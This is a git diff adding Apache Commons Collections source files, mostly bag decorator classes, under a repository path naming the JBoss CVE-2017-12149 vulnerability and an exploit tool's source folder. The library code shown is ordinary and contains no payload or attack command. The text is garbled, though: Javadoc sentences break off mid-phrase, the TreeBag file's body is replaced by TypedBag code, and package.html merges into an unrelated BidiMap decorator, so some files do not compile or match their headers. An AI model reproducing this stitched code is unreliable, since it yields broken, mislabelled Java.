+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.util.Comparator;
+
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.SortedBag;
+
+/**
+ * Decorates another
+ * This bag exists to provide validation for the decorated bag.
+ * It is normally created to decorate an empty bag.
+ * If an object cannot be added to the bag, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null entries are added to the bag.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/03 22:02:12 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedSortedBag
+ extends PredicatedBag implements SortedBag {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 3448581314086406616L;
+
+ /**
+ * Factory method to create a predicated (validating) bag.
+ *
+ * If there are any elements already in the bag being decorated, they
+ * are validated.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @return a new predicated SortedBag
+ * @throws IllegalArgumentException if bag or predicate is null
+ * @throws IllegalArgumentException if the bag contains invalid elements
+ */
+ public static SortedBag decorate(SortedBag bag, Predicate predicate) {
+ return new PredicatedSortedBag(bag, predicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the bag being decorated, they
+ * are validated.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if bag or predicate is null
+ * @throws IllegalArgumentException if the bag contains invalid elements
+ */
+ protected PredicatedSortedBag(SortedBag bag, Predicate predicate) {
+ super(bag, predicate);
+ }
+
+ /**
+ * Gets the decorated sorted bag.
+ *
+ * @return the decorated bag
+ */
+ protected SortedBag getSortedBag() {
+ return (SortedBag) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object first() {
+ return getSortedBag().first();
+ }
+
+ public Object last() {
+ return getSortedBag().last();
+ }
+
+ public Comparator comparator() {
+ return getSortedBag().comparator();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedBag.java"
new file mode 100644
index 0000000..41417cf
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedBag.java"
@@ -0,0 +1,127 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.util.Set;
+
+import org.apache.commons.collections.Bag;
+import org.apache.commons.collections.collection.SynchronizedCollection;
+import org.apache.commons.collections.set.SynchronizedSet;
+
+/**
+ * Decorates another
+ * Methods are synchronized, then forwarded to the decorated bag.
+ * Iterators must be separately synchronized around the loop.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/03 22:02:12 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SynchronizedBag
+ extends SynchronizedCollection implements Bag {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 8084674570753837109L;
+
+ /**
+ * Factory method to create a synchronized bag.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @return a new synchronized Bag
+ * @throws IllegalArgumentException if bag is null
+ */
+ public static Bag decorate(Bag bag) {
+ return new SynchronizedBag(bag);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param bag the bag to decorate, must not be null
+ * @throws IllegalArgumentException if bag is null
+ */
+ protected SynchronizedBag(Bag bag) {
+ super(bag);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param lock the lock to use, must not be null
+ * @throws IllegalArgumentException if bag is null
+ */
+ protected SynchronizedBag(Bag bag, Object lock) {
+ super(bag, lock);
+ }
+
+ /**
+ * Gets the bag being decorated.
+ *
+ * @return the decorated bag
+ */
+ protected Bag getBag() {
+ return (Bag) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object, int count) {
+ synchronized (lock) {
+ return getBag().add(object, count);
+ }
+ }
+
+ public boolean remove(Object object, int count) {
+ synchronized (lock) {
+ return getBag().remove(object, count);
+ }
+ }
+
+ public Set uniqueSet() {
+ synchronized (lock) {
+ Set set = getBag().uniqueSet();
+ return new SynchronizedBagSet(set, lock);
+ }
+ }
+
+ public int getCount(Object object) {
+ synchronized (lock) {
+ return getBag().getCount(object);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Synchronized Set for the Bag class.
+ */
+ class SynchronizedBagSet extends SynchronizedSet {
+ /**
+ * Constructor.
+ * @param set the set to decorate
+ * @param lock the lock to use, shared with the bag
+ */
+ SynchronizedBagSet(Set set, Object lock) {
+ super(set, lock);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java"
new file mode 100644
index 0000000..c4242a2
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java"
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.util.Comparator;
+
+import org.apache.commons.collections.Bag;
+import org.apache.commons.collections.SortedBag;
+
+/**
+ * Decorates another
+ * Methods are synchronized, then forwarded to the decorated bag.
+ * Iterators must be separately synchronized around the loop.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/03 22:02:12 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SynchronizedSortedBag
+ extends SynchronizedBag implements SortedBag {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 722374056718497858L;
+
+ /**
+ * Factory method to create a synchronized sorted bag.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @return a new synchronized SortedBag
+ * @throws IllegalArgumentException if bag is null
+ */
+ public static SortedBag decorate(SortedBag bag) {
+ return new SynchronizedSortedBag(bag);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param bag the bag to decorate, must not be null
+ * @throws IllegalArgumentException if bag is null
+ */
+ protected SynchronizedSortedBag(SortedBag bag) {
+ super(bag);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param lock the lock to use, must not be null
+ * @throws IllegalArgumentException if bag is null
+ */
+ protected SynchronizedSortedBag(Bag bag, Object lock) {
+ super(bag, lock);
+ }
+
+ /**
+ * Gets the bag being decorated.
+ *
+ * @return the decorated bag
+ */
+ protected SortedBag getSortedBag() {
+ return (SortedBag) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public synchronized Object first() {
+ synchronized (lock) {
+ return getSortedBag().first();
+ }
+ }
+
+ public synchronized Object last() {
+ synchronized (lock) {
+ return getSortedBag().last();
+ }
+ }
+
+ public synchronized Comparator comparator() {
+ synchronized (lock) {
+ return getSortedBag().comparator();
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedBag.java"
new file mode 100644
index 0000000..02b0da0
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedBag.java"
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.util.Set;
+
+import org.apache.commons.collections.Bag;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.collection.TransformedCollection;
+import org.apache.commons.collections.set.TransformedSet;
+
+/**
+ * Decorates another
+ * The add methods are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:12 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedBag
+ extends TransformedCollection implements Bag {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 5421170911299074185L;
+
+ /**
+ * Factory method to create a transforming bag.
+ *
+ * If there are any elements already in the bag being decorated, they
+ * are NOT transformed.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @return a new transformed Bag
+ * @throws IllegalArgumentException if bag or transformer is null
+ */
+ public static Bag decorate(Bag bag, Transformer transformer) {
+ return new TransformedBag(bag, transformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the bag being decorated, they
+ * are NOT transformed.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if bag or transformer is null
+ */
+ protected TransformedBag(Bag bag, Transformer transformer) {
+ super(bag, transformer);
+ }
+
+ /**
+ * Gets the decorated bag.
+ *
+ * @return the decorated bag
+ */
+ protected Bag getBag() {
+ return (Bag) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public int getCount(Object object) {
+ return getBag().getCount(object);
+ }
+
+ public boolean remove(Object object, int nCopies) {
+ return getBag().remove(object, nCopies);
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object, int nCopies) {
+ object = transform(object);
+ return getBag().add(object, nCopies);
+ }
+
+ public Set uniqueSet() {
+ Set set = getBag().uniqueSet();
+ return TransformedSet.decorate(set, transformer);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedSortedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedSortedBag.java"
new file mode 100644
index 0000000..ae629cf
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedSortedBag.java"
@@ -0,0 +1,96 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.util.Comparator;
+
+import org.apache.commons.collections.SortedBag;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Decorates another
+ * The add methods are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:12 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedSortedBag
+ extends TransformedBag implements SortedBag {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -251737742649401930L;
+
+ /**
+ * Factory method to create a transforming sorted bag.
+ *
+ * If there are any elements already in the bag being decorated, they
+ * are NOT transformed.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @return a new transformed SortedBag
+ * @throws IllegalArgumentException if bag or transformer is null
+ */
+ public static SortedBag decorate(SortedBag bag, Transformer transformer) {
+ return new TransformedSortedBag(bag, transformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the bag being decorated, they
+ * are NOT transformed.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if bag or transformer is null
+ */
+ protected TransformedSortedBag(SortedBag bag, Transformer transformer) {
+ super(bag, transformer);
+ }
+
+ /**
+ * Gets the decorated bag.
+ *
+ * @return the decorated bag
+ */
+ protected SortedBag getSortedBag() {
+ return (SortedBag) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object first() {
+ return getSortedBag().first();
+ }
+
+ public Object last() {
+ return getSortedBag().last();
+ }
+
+ public Comparator comparator() {
+ return getSortedBag().comparator();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TreeBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TreeBag.java"
new file mode 100644
index 0000000..1d74f60
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TreeBag.java"
@@ -0,0 +1,114 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.SortedMap;
+import java.util.TreeMap;
+
+import org.apache.commons.collections.SortedBag;
+
+/**
+ * Implements
+ * Order will be maintained among the bag members and can be viewed through the
+ * iterator.
+ *
+ * A
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * If there are any elements already in the bag being decorated, they
+ * are validated.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param type the type to allow into the bag, must not be null
+ * @return a new typed Bag
+ * @throws IllegalArgumentException if bag or type is null
+ * @throws IllegalArgumentException if the bag contains invalid elements
+ */
+ public static Bag decorate(Bag bag, Class type) {
+ return new PredicatedBag(bag, InstanceofPredicate.getInstance(type));
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedBag() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedSortedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedSortedBag.java"
new file mode 100644
index 0000000..5ae2ba0
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedSortedBag.java"
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import org.apache.commons.collections.SortedBag;
+import org.apache.commons.collections.functors.InstanceofPredicate;
+
+/**
+ * Decorates another
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * If there are any elements already in the bag being decorated, they
+ * are validated.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @param type the type to allow into the bag, must not be null
+ * @return a new transformed SortedBag
+ * @throws IllegalArgumentException if bag or type is null
+ * @throws IllegalArgumentException if the bag contains invalid elements
+ */
+ public static SortedBag decorate(SortedBag bag, Class type) {
+ return new PredicatedSortedBag(bag, InstanceofPredicate.getInstance(type));
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedSortedBag() {
+ super();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableBag.java"
new file mode 100644
index 0000000..a104cb6
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableBag.java"
@@ -0,0 +1,141 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+
+import org.apache.commons.collections.Bag;
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/02 21:56:19 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableBag
+ extends AbstractBagDecorator implements Unmodifiable, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -1873799975157099624L;
+
+ /**
+ * Factory method to create an unmodifiable bag.
+ *
+ * If the bag passed in is already unmodifiable, it is returned.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @return an unmodifiable Bag
+ * @throws IllegalArgumentException if bag is null
+ */
+ public static Bag decorate(Bag bag) {
+ if (bag instanceof Unmodifiable) {
+ return bag;
+ }
+ return new UnmodifiableBag(bag);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param bag the bag to decorate, must not be null
+ * @throws IllegalArgumentException if bag is null
+ */
+ private UnmodifiableBag(Bag bag) {
+ super(bag);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the collection out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(collection);
+ }
+
+ /**
+ * Read the collection in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ collection = (Collection) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object, int count) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object, int count) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Set uniqueSet() {
+ Set set = getBag().uniqueSet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java"
new file mode 100644
index 0000000..ac6d8cf
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java"
@@ -0,0 +1,141 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+
+import org.apache.commons.collections.SortedBag;
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.9 $ $Date: 2004/06/02 21:56:19 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableSortedBag
+ extends AbstractSortedBagDecorator implements Unmodifiable, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -3190437252665717841L;
+
+ /**
+ * Factory method to create an unmodifiable bag.
+ *
+ * If the bag passed in is already unmodifiable, it is returned.
+ *
+ * @param bag the bag to decorate, must not be null
+ * @return an unmodifiable SortedBag
+ * @throws IllegalArgumentException if bag is null
+ */
+ public static SortedBag decorate(SortedBag bag) {
+ if (bag instanceof Unmodifiable) {
+ return bag;
+ }
+ return new UnmodifiableSortedBag(bag);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param bag the bag to decorate, must not be null
+ * @throws IllegalArgumentException if bag is null
+ */
+ private UnmodifiableSortedBag(SortedBag bag) {
+ super(bag);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the collection out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(collection);
+ }
+
+ /**
+ * Read the collection in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ collection = (Collection) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object, int count) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object, int count) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Set uniqueSet() {
+ Set set = getBag().uniqueSet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/package.html"
new file mode 100644
index 0000000..722544e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/package.html"
@@ -0,0 +1,39 @@
+
+
+
+This package contains implementations of the
+{@link org.apache.commons.collections.Bag Bag} and
+{@link org.apache.commons.collections.SortedBag SortedBag} interfaces.
+A bag stores an object and a count of the number of occurences of the object.
+
+The following implementations are provided in the package:
+
+The following decorators are provided in the package:
+
+ * Methods are forwarded directly to the decorated map.
+ *
+ * This implementation does not perform any special processing with the map views.
+ * Instead it simply returns the set/collection from the wrapped map. This may be
+ * undesirable, for example if you are trying to write a validating implementation
+ * it would provide a loophole around the validation.
+ * But, you might want that loophole, so this class is kept simple.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/02/18 00:57:39 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractBidiMapDecorator
+ extends AbstractMapDecorator implements BidiMap {
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ protected AbstractBidiMapDecorator(BidiMap map) {
+ super(map);
+ }
+
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected BidiMap getBidiMap() {
+ return (BidiMap) map;
+ }
+
+ //-----------------------------------------------------------------------
+ public MapIterator mapIterator() {
+ return getBidiMap().mapIterator();
+ }
+
+ public Object getKey(Object value) {
+ return getBidiMap().getKey(value);
